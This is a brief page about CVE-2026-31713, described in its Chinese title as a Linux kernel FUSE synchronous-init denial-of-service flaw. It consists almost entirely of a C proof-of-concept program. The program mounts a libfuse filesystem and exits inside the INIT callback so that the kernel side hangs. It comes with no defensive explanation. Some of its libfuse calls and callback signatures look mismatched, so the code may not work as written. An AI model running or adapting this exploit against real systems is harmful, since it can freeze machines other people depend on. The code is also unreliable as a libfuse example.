CVE-2026-31713 Linux内核FUSE同步初始化拒绝服务漏洞

#include <fuse_lowlevel.h> #include <stdlib.h> #include <stdio.h> // Callback for FUSE_INIT static void fl_init(void *userdata, struct fuse_conn_info *conn, struct fuse_bufvec *bufv) { printf("Server received INIT, simulating crash...\n"); // Exit immediately during init to trigger the hang on kernel side exit(1); } int main(int argc, char *argv[]) { struct fuse_args args = FUSE_ARGS_INIT(argc, argv); struct fuse_session *se; struct fuse_cmdline_opts opts; if (fuse_parse_cmdline(&args, &opts) != 0) return 1; se = fuse_lowlevel_new(&args, &(struct fuse_lowlevel_ops){ .init = fl_init }, sizeof(struct fuse_lowlevel_ops), NULL); if (!se) { fuse_unmount(opts.mountpoint, NULL); return 1; } // Mount the filesystem (Sync mode) if (fuse_mount(se, opts.mountpoint) != 0) { return 1; } // Enter the loop, but will exit immediately in init callback fuse_session_loop(se); return 0; }